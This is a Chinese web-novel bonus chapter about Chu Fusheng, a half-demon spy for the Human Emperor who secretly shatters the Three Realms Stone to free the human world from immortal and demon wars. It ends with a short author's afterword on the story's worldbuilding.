而楚浮生就是在这时,经由父亲的引荐,于京都紫宸殿的书房中,面见了年轻的大夏天子。 人皇是楚浮生理想中的君王。 他从没有见过那样的人——心藏锦绣河山之志,怀揣悲天悯人之思。既能看见万里河山与众生悲欢,腕底又翻覆着最幽晦的权谋机锋,为达济世夙愿,亦能为达目的不择手段。 也就是这样的帝王,能一统他登基之前四分五裂、门阀割据、民生凋敝、外患频仍的大夏。 是他以铁腕整合山河,宵衣旰食十余载,硬生生将一个濒临崩坏的王朝,从泥淖中拉出,初步恢复了秩序与生机,让百姓得以喘息。 可惜,这来之不易的休养生息未能持续几年,刚刚百废待兴的人间界的人间界,又要被这越演越烈、几乎撕裂苍穹的仙妖大战再度拖入了无妄之灾。 仙法妖术的碰撞,轻易便成了落在凡人头上无可抵挡的“天灾”。在人间界动辄便引发山崩地裂,洪水滔天,烈焰焚城。 凡人城池村庄被波及毁灭者不计其数,百姓流离失所,饿殍遍野。 人族弱小。 被迫在仙妖的阴影下苦苦挣扎,苦不堪言。 紫宸殿内,香炉青烟袅袅。 人皇长久地沉默着。望着窗外阴沉的天色,良久,忽然转身,目光如古井深潭: “还不如,将他们尽数驱离。” “让仙、妖、魔乃至诸天异族,其界域与人间永远分离,法则自成,通道永锢。从此三界各行其道,再无瓜葛。” “朕要这人间界,从此不再受仙魔掣肘,不被余波殃及。让朕的子民,能真正在自己的土地上,安居乐业,世代绵延。” “……” 人皇说的,是一条布满荆棘、却也是人族通向真正长治久安的唯一生途。 人族弱小,面对仙妖魔族移山填海的伟力,无法正面抗衡。但千万年来,仙魔修的是法力神通,人族锤炼的却是代代传承不绝的心术、谋略与蛰伏的智慧。 楚浮生很快被擢入人皇最隐秘的内阁。 至此他才惊觉,人族对仙、妖、魔乃至上古神族的秘辛,早已暗中探究、积虑多年。那些沉睡的古神遗骸,各界力量的源流与制衡,甚至魔族内部的裂隙与妖族的野心,皆在人族浩如烟海的卷宗与无声的注视之下。 知晓,却从不现身台前。 人族千万年间,只做那幕后的执棋之手,于无声处,悄然搅动风云。 毕竟仙、妖、魔、神彼此争斗,战火燎天,谁会分神在意那群寿命短暂、力量微末,在夹缝中沉默求存的“蝼蚁”呢? 无人在意。 第 56 章:福利番外·楚浮生(下) 正因如此,楚浮生才能隐秘行事,以半妖之身在妖明界的醉月城中安顿下来,实则埋下暗桩、织就情报之网。 亦能在妖明界因战乱与三界联系渐趋断绝之前,及时抽身,安然返回人间界的燎原庭,并凭其能力与心计在此一路青云直上,直至成为仙首鹿紫苑之下、备受倚重的守约仙尊。 私下所为就更是甚多—— 暗中斡旋,促成朝廷与燎原庭的稳固盟谊;更以燎原庭二把手的身份,促成仙界与人皇的正式会盟。 一切布局与推动,甚至早在他以守约仙尊之名首次踏足不染仙境参与猎魔月狩之前,便已悄然落定。 而与他遥相呼应的,是他那些同样潜伏于仙魔各界的同僚们。 有人魔混血者,于魔族内部巧妙煽动公主荼姬等人,加剧其内耗;有人仙血脉者,隐于市井或仙界卖茶卖酒,传递关键讯息。他们或许彼此素未谋面,只为人族自立这一渺茫却坚定的目标,在阴影中独行。 但楚浮生还是认出过一位同僚的。 荻春公子。 他曾在人皇宫中遥遥见过他一次。 正是这无数籍籍无名的人族混血,于无声处龋龋独行,暗中尽力。才会有后来仙庭盛宴之上,魔族荼姬直袭中枢,而人皇则仅以“受惊的宾客”之态安然离场。 此事看起来与人族何其无关,甚至仙皇沈枫语还对此动乱险些殃及人皇深感歉疚。 人皇自仙都返回人间界时,楚浮生并未随行护送。 不必。君臣之间,仅需一个眼神,便已心照不宣。 再之后,终于毁天灭地的战场,逐渐被限制在了不染仙境、妖明界与魔域之间,人间界的山河终于得以喘息,不再沦为仙魔争斗的焦土,而可以继续勤恳耕织,休养生息。 ……看起来什么都没做,实则什么都做了。 人皇不语,只一味幕后执棋。 依旧无人注意到他。 同样,也无人真正看透总是笑容明媚、举止不羁的燎原庭二把手楚浮生。 在所有人眼中,他都是个脾性温和、能力出众、喜好交际赠礼的好人。与仙界同僚把酒言欢,替友人排解烦忧,作战时亦全力以赴。 他和他的君主一样。 看似什么都没做。 …… 唯一让楚浮生稍绝……有一点对不住的,大抵只有郁如沐仙君。 如沐仙君性子单纯,与他结对搭档后,一直待他关照有加。 楚浮生并非铁石心肠。 听过郁如沐被魔族公主荼姬欺骗利用的过往,尝过他亲手调制的羹汤药膳,更受过他无数次的疗伤与照拂。 要他对这般好的人骤然变脸,楚浮生实在于心不忍。 他全心全意相信过一个人,被骗了。 如果再这样,再被骗,真的是…… 既然如此。 楚浮生便决定不背叛。 至少在郁如沐的认知里,他不曾背叛—— 此次仙魔大战终了,世人皆以为是沈枫延在神冢捏碎古神核心石,才导致了维系三界平衡的三界之石彻底崩塌。 但其实不是。 核心石的寂灭,确然抽干了三界石最后的守护之力,令其脆弱如风中残烛,摇摇欲坠。但那决定性的、让法则彻底断裂的最后一击,却其实延迟了数日。 战后一片狼藉之际。 保存实力、尚可行动的楚浮生和如沐仙君,主动承担检查三界石的重则。两人沿着深渊裂隙缓缓下行,临近渊底时,楚浮生忽然侧身护在郁如沐身前:“如沐,当心!” 郁如沐根本不知道发生了什么。 就被打晕了。 楚浮生则稳稳接住他软倒的身体,将他小心安置在一块避风的岩壁后。然后,独自走向那枚贯穿天地、此刻却布满裂痕的三界之石。 他从怀中取出人皇亲赐的、蕴含着人族千年积淀的愿力与特殊法则的玄金令印,将其缓缓按向三界石最核心的那道裂缝。 没有惊天动地的巨响,只有一声仿佛来自世界根基深处的、悠长而悲哀的叹息。 光芒自令印与石体的接触点迸发,沿着无数裂痕急速蔓延、分叉。三条原本虽动荡却仍勉强相连的灵脉主干,在综合人族全部力量的最后一击下,于最根本的法则层面,被轻柔而决绝地,彻底斩断、分离。 从此,仙、人、魔三界,成了真正意义上各自独立、互不连通的孤界。 每一界都必须独自面对自己内部的灵气盈虚、资源兴衰、族群存续。 每一方世界,每一个族群,都必须只能依靠自己,去搏一份属于自己的天命。 人族,终于永远摆脱了仙魔的阴影与掣肘。 也许千百年后,那些飞天遁地、呼风唤雨的仙人与妖魔,终将褪色为荒诞不经的远古神话。不会有人知晓,曾经人皇与某个人妖混血一起为人族斩断了命运的枷锁。 千秋功业,寂寂无名。 而楚浮生,不过是与郁如沐仙君一同被三界石崩塌的余波“意外”震伤,昏迷数日后被同僚救回的幸存者之一。 再后来,仙族随不染仙境远去,妖族也随妖明界隐没,三界渐行渐远,少数因各种缘故留在人间的仙妖血脉,随着人间界清灵之气日益稀薄,也渐渐褪去神通,越来越像寻常凡人。 楚浮生选择留在人间。 他凭借才能与功绩,屡次出使列国,斡旋四方。偶尔回京述职,于宫阙深处与人皇对坐手谈。君臣相视间,无须多言,一切尽在清茶余香之中。 大夏日渐强盛,百姓安居乐业。 平凡的人族迎来了一个可以自己主宰、不被打扰、充满烟火气的将来。 这是沉默的人族在整个故事里,平凡而不为人知的一页。 ———————— 其实楚浮生的故事并不重要,但剧情线加上这一环,才真正完整了。 四方势力斗来斗去,最后的既得利益者反正不是妖仙魔神,而是不作声的人族。 也不能算是既得利益吧,是沉默地拿回了本该属于自己的一切。至此世界观才完整了。《 》